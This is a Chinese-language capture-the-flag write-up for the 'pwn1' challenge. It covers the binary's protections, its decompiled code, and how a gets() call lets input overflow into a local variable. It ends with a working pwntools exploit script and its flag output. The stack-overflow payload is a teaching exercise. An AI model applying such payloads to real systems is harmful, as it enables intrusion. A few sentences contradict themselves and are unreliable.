level1
第一步,了解文件类型
└─$ file pwn1
pwn1: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped
gef➤ checksec pwn1
[+] checksec for '/pwn1'
[*] .gef-2b72f5d0d9f0f218a91cd1ca5148e45923b950d5.py:L8764 'checksec' is deprecated and will be removed in a feature release. Use Elf(fname).checksec()
Canary : ✘
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Full
我们可以看到这是一个编译时带有RELRO、NX和PIE三项缓解措施的32位二进制文件。当我们运行该二进制文件时,它提示我们输入并会根据输入打印一些文本:
└─$ ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
haha
I don't know that! Auuuuuuuugh!
我们在 Ghidra 中查看 main 函数,可以看到下面的内容:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
undefined4 main(undefined param_1)
{
int iVar1;
char local_43 [43];
int local_18;
undefined4 local_14;
undefined1 *local_10;
local_10 = ¶m_1;
setvbuf(stdout,(char *)0x2,0,0);
local_14 = 2;
local_18 = 0;
puts(
"Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see."
);
puts("What... is your name?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"Sir Lancelot of Camelot\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is your quest?");
fgets(local_43,0x2b,stdin);
iVar1 = strcmp(local_43,"To seek the Holy Grail.\n");
if (iVar1 != 0) {
puts("I don\'t know that! Auuuuuuuugh!");
/* WARNING: Subroutine does not return */
exit(0);
}
puts("What... is my secret?");
gets(local_43);
if (local_18 == -0x215eef38) {
print_flag();
}
else {
puts("I don\'t know that! Auuuuuuuugh!");
}
return 0;
}
我们可以看到,它将用fgets扫描输入,然后用strcmp比较我们的输入。它这样做了两次。第一次它检查的是 ”Sir Lancelot of Camelot\n” 字符串,第二次它检查的是 “To seek the Holy Grail.\n” 字符串。如果我们没有通过第一次的检查,它就会打印出 ”I don/t know that! Auuuuuuuugh!” 然后退出。对于第二次检查,如果我们通过了,代码将调用以输入为参数的函数get。函数get将扫描数据,直到它得到一个换行符或一个EOF。因此,在纸面上,它能扫描到多少数据是没有限制的。由于它扫描到的数据是有限的,我们将能够溢出它并开始覆盖内存中的后续内容。
另外,看一下get调用周围的汇编代码,我们看到了一些有趣的东西,而反编译的代码并没有向我们展示:
000108aa e8 71 fc CALL <EXTERNAL>::gets char * gets(char * __s)
ff ff
000108af 83 c4 10 ADD ESP,0x10
000108b2 81 7d f0 CMP dword ptr [EBP + local_18],0xdea110c8
c8 10 a1 de
000108b9 75 07 JNZ LAB_000108c2
000108bb e8 3d fe CALL print_flag undefined print_flag(void)
ff ff
000108c0 eb 12 JMP LAB_000108d4
所以我们可以看到,它将local_18的内容与0xdea110c8进行比较,如果相等(这意味着它是0),它就会调用print_flag函数。看一下print_flag的反编译代码,我们看到它打印了flag.txt的内容:
/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */
void print_flag(void)
{
FILE *__fp;
int iVar1;
puts("Right. Off you go.");
__fp = fopen("flag.txt","r");
while( true ) {
iVar1 = _IO_getc(__fp);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
putchar(10);
return;
}
因此,如果我们能使用gets调用将local_18的内容覆盖到0xdea110c8,我们就应该得到flag(如果你在本地运行这个程序,你需要有一份与二进制文件pwn1在同一目录下的flag.txt的副本)。因此,为了达到获取调用,我们将需要向程序发送字符串 ”Sir Lancelot of Camelot\n” 和 ”To seek the Holy Grail.\n”。观察Ghidra中的堆栈布局(我们可以通过双击主函数的变量声明中的任何一个变量来查看),可以看到我们的输入开始和local_18之间的偏移:
**************************************************************
* FUNCTION *
**************************************************************
undefined4 __cdecl main(undefined1 param_1)
undefined4 EAX:4 <RETURN>
undefined1 Stack[0x4]:1 param_1 XREF[1]: 00010779(*)
undefined4 Stack[0x0]:4 local_res0 XREF[1]: 00010780(R)
undefined1 Stack[-0x10]:1 local_10 XREF[1]: 000108d9(*)
undefined4 Stack[-0x14]:4 local_14 XREF[1]: 000107ad(W)
undefined4 Stack[-0x18]:4 local_18 XREF[2]: 000107b4(W),
000108b2(R)
undefined1 Stack[-0x43]:1 local_43 XREF[5]: 000107ed(*),
00010803(*),
0001084f(*),
00010865(*),
000108a6(*)
main XREF[5]: Entry Point(*),
_start:000105e6(*), 00010ab8,
00010b4c(*), 00011ff8(*)
00010779 8d 4c 24 04 LEA ECX=>param_1,[ESP + 0x4]
所以我们可以看到,输入开始于偏移量-0x43。我们看到local_18开始于偏移量-0x18。这就给了我们一个偏移量0x43-0x18=0x2b,在我们的输入开始和local_18之间。然后我们就可以溢出它(向一个区域写的数据比它能容纳的多,所以它溢出并开始覆盖内存中的后续内容),用0xdea110c8覆盖local_18。把这一切放在一起,我们可以得到以下的exp:
# Import pwntools
from pwn import *
# Establish the target process
target = process('./pwn1')
# Make the payload
payload = ""
payload += "0"*0x2b # Padding to `local_18`
payload += p32(0xdea110c8) # the value we will overwrite local_18 with, in little endian
# Send the strings to reach the gets call
target.sendline("Sir Lancelot of Camelot")
target.sendline("To seek the Holy Grail.")
# Send the payload
target.sendline(payload)
target.interactive()
运行该exp:
└─$ python2 pwn1.py
[+] Starting local process './pwn1': pid 1233
[*] Switching to interactive mode
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
flag{g0ttem_b0yz}
[*] Got EOF while reading in interactive
$
结束战斗!!!